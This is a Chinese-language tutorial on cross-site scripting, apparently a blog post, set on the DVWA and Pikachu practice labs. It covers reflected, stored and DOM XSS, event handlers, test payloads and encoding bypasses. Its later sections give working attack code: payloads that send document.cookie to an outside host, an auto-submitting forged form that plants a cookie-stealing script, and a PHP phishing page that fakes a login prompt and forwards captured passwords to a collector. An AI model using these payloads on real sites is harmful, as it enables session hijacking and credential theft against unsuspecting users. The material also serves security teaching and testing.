XSS漏洞
前言
在开发者利用编程语言编写动态网页时,可能会习惯性地把用户的输入不做任何处理直接返回到客户端上,这时如果插入一段恶意代码在页面上,就会对客户端产生一些不利地影响。接下来本文将介绍这种漏洞——XSS漏洞。
一、XSS漏洞的概念
通过操控输入就能在页面上插入可执行代码地漏洞就是XSS漏洞。XSS是一种网站应用程序地安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入页面上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML及用户端脚本语言。
二、 XSS漏洞分类及其原理
2.1 反射型XSS
攻击者通过发送电子邮箱等方式将包含XSS代码的恶意链接发送给目标用户。当目标用户访问该链接时,服务器会接受该目标用户的请求并进行处理,然后服务器把带有XSS代码的数据发送给目标用户的浏览器,浏览器解析了这段带有XSS代码的恶意代码后,就会触发XSS漏洞。反射型XSS漏洞又称非持久XSS漏洞,这种攻击方式往往是一次性的。
接下来以DVWA靶场(这里级别选择了低)做示例:
打开网站后,首先利用<script>alert(/xss/)</script>进行判断。但我们在对话框上输入后点击提交发现发生回显说明产生XSS漏洞。接下来便可以构造恶意脚本,例如<script>alert(document.cookie)</script>来获取cookie值。·
因为我们将代码上传后,在浏览器渲染时,执行了我们构造的恶意语句,JavaScript中函数alert()的作用就是让浏览器弹框,所以浏览器会显示/xss/,如上图所示。而document.cookie是获取cookie值。
2.2 存储型XSS
这种攻击多见于论坛、博客和留言板,攻击者再发帖的过程中,将恶意代码脚本连同正常信息一起注入帖子的内容中。随着帖子被服务器存储下来,恶意脚本也永久地被放在服务器的后端存储器中。当其他用户浏览这个被注入了恶意脚本的帖子时,恶意脚本会在他们的浏览器中得到执行。交互数据一般存放在数据库中,一般出现在留言板,注册等页面。
接下来以DVWA靶场(这里级别选择了低)做示例:
打开网站后,首先利用<script>alert(123)</script>进行判断。但我们在对话框上输入后点击提交发现发生回显说明产生XSS漏洞。接下来便可以构造恶意脚本。
我们可以发现其是存入到数据库中的,所以此时可以利用给该特性去获取管理员或者其他用户的cookie或其他攻击方法。
2.3 DOM型XSS
用户请求一个经过专门设计的URL,它由攻击者提交,而且其中包含XSS代码。服务器的响应不会以任何形式包含攻击者的脚本。当用户的浏览器处理这个响应时,DOM就会处理XSS代码,导致存在XSS漏洞。通过JS代码操作DOM文档对象模型时,触发的漏洞,一般不与服务端进行交互。
接下来以DVWA靶场(这里级别选择了低)做示例:
将传入的参数改为“<script>alert(123)</script>”我们可以发现其出现了弹窗,存在XSS漏洞。
当代码中出现以下函数时,则可能出现DOM型XSS攻击。
document.referer
window.name
location
innerHTML
document.write
闭合标签的构造,同时也可以利用confirm进行弹窗测试
' onlick="alert(1111)"
' onlick="alert('xss')">
'><img src="#" onmouseover='alert("xss")'>
三、 HTML中XSS常利用事件
很多时候,我们并不能直接插入script标签去进行XSS,这时我们就要想办法借助其他标签实践,如img,autio等标签。像下面所示:
<img src="xxx" onerror='alert(1)' />
随便写入一个src图片的地址,需要的是它加载失败,触发onerror标签,这个标签里的代码会在图片加载出错时执行。常用的事件标签如下。
- onerror:在该标签加载资源出错时会被执行。
- onload:在资源被加载时会被执行。
- onmouseover:在鼠标略过这个元素时会被执行。
- onfocus:当页面的焦点被聚集到这个元素上时会被执行
四、 XSS漏洞常用的测试语句以及编码绕过
XSS 漏洞常用的测试语句有以下几种
<script>alert(1)</script>
<img src=x onerror = alert(1)>
<svg onload=alert(1)>
<a href=javascript:alert(1)>
4.1 JavaScript编码
JavaScript提供了四种字符编码的策略
-
三个八进制数字,如果个数不够,就在前面补0,例如“e”的编码为"\145"
-
两个十六进制数字,如果个数不够,就在前面补0,例如“e”的编码为“\x65”
-
四个十六进制数字,如果个数不够,就在前面补0,例如“e”的编码为“\u0065”
-
对于一些控制字符,使用特殊的C类型的转移风格(例如\n和\r)
4.2 HTML 实体编码
命名实体:以"&"开头,以分号结尾,例如“<”的编码是"& lt;"
字符编码:十进制、十六进制ASCII码或Unicode字符编码,样式为"&#数值;",例如“<”可以被编码为" & #060;"和"& #x3c;"
4.3 URL编码
这里的URL编码,也是两次URL全编码的结果。如果alert被过滤,则结果为%25%36%31%25%36%63%25%36%35%25%37%32%25%37%34
在使用XSS编码测试时,先不要选择合适的编码方式进行测试。
五、 利用XSS漏洞获取Cookie
5.1 GET请求5.2
在F12中,利用控制台可以进行脚本的书写
document.location.href //查看当前的网页
location.href="http://www.baidu.com"; //跳转到某个页面
document.cookie //获取cookie值
location.href = 'http://121.62.16.96:39652/vul/xss/xss_stored.php?cookie='+documemt.cookie; //获取该网站的cookie,用于攻击别人
在输入这段脚本以后,便可以实现获取对方cookie值(当然要用自己搭建的网站,即百度的网址需要更换)
'"><script>document.location='https://www.baidu.com/index.php?cookie='+document.cookie;</script>
成功获取cookie值
5.2 POST请求
需要伪造一个网页HTML文件出来
<html>
<head>
<script>
window.onload = function() {
document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://pikachu:6742/pkxss/xcookie/pkxss_cookie_result.php"> <!--这里为被攻击者的网站 -->
<input id="xssr_in" type="text" name="message" value=
"<script>
document.location = 'http://pikachu:6742/pkxss/xcookie/cookie.php?cookie=' + document.cookie; <!-- 这里为攻击者的网站 -->
</script>"
/>
<input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
伪造好该网站后将该网站发给已登陆的用户,点开即可跳转获取cookie值,将cookie复制粘贴后用Burip Suite发送。
点击含有登陆信息的浏览器打开
这是登录过后
点击打开后,跳转到伪造页面,并成功获取cookie值
六、XSS 钓鱼演示
在存在存储型XSS漏洞的网站上,写入该代码
<script src="http://pikachu:6742/pkxss/xfish/fish.php"></script>
fish.php
<?php
error_reporting(0);
// var_dump($_SERVER);
if ((!isset($_SERVER['PHP_AUTH_USER'])) || (!isset($_SERVER['PHP_AUTH_PW']))) {
//发送认证框,并给出迷惑性的info
header('Content-type:text/html;charset=utf-8');
header("WWW-Authenticate: Basic realm='认证'");
header('HTTP/1.0 401 Unauthorized');
echo 'Authorization Required.';
exit;
} else if ((isset($_SERVER['PHP_AUTH_USER'])) && (isset($_SERVER['PHP_AUTH_PW']))){
//将结果发送给搜集信息的后台,请将这里的IP地址修改为管理后台的IP
header("Location: http://http://pikachu:6742//pkxss/xfish/xfish.php?username={$_SERVER[PHP_AUTH_USER]}
&password={$_SERVER[PHP_AUTH_PW]}");
}
?>
弹窗在另外一个浏览器中显示,即可获取账号密码
七、XSS盲打
XSS 盲打就是攻击者在前端提交的数据不知道后台是否存在XSS 漏洞的情况下,提交恶意JS 代码在类似留言板等输入框后,所展示的后台位置的情况下,网站采用了攻击者插入的恶意代码。当后台管理员在操作时就会触发恶意代码,从而达到攻击者的目的。